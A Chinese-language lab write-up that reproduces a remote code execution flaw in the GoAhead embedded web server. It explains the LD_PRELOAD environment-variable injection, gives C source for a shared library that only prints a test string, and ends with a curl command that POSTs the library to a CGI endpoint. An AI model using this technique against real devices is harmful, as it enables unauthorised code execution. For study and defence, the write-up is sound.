GoAhead
GoAhead 是一个开源 (商业许可)、简单、轻巧、功能强大、可以在多个平台运行的 Web Server,多用于嵌入式系统、智能设备。其支持运行 ASP、Javascript 和标准的 CGI 程序,这个漏洞就出现在运行 CGI 程序的时候。
思路
GoAhead 在接收到请求后,会把URL 参数的键和值放到进 CGI 程序的环境变量中,并且只过滤了 REMOTE_HOST
和 HTTP_AUTHORIZATION
。所以我们能够控制环境变量,像在 Linux 中,LD_开头的环境变量和动态链接库有关,如
LD_PRELOAD 中指定的动态链接库,将会被自动加载;
LD_LIBRARY_PATH 指定的路径,程序会去其中寻找动态链接库。
我们可以指定 LD_PRELOAD=/proc/self/fd/0,因为 /proc/self/fd/0 是标准输入,而在 CGI 程序中,POST 数据流即为标准输入流。我们编译一个动态链接库,将其放在 POST Body 中,发送给 http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0,CGI 就会加载我们发送的动态链接库,造成远程命令执行漏洞。
漏洞复现
利用docker部署环境后
我们首先需要编译一个动态链接库,而且需要和目标架构相同。所以在实战中,如果对方是一个智能设备,你可能需要交叉编译。因为Vulhub运行在Linux x86_64的机器中,所以我们直接用Linux PC编译即可。
动态链接库源码
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1,"Hello: World!\n",14);
}
将上面的代码保存为.c文件
before_main函数将在程序执行前被调用。在.c文件的对应文件夹下,执行编译命令,编译.c文件为.so文件
gcc -shared -fPIC test.c -o test.so
将payload.so作为post body发送:
curl -X POST --data-binary @test.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i
尝试反弹shell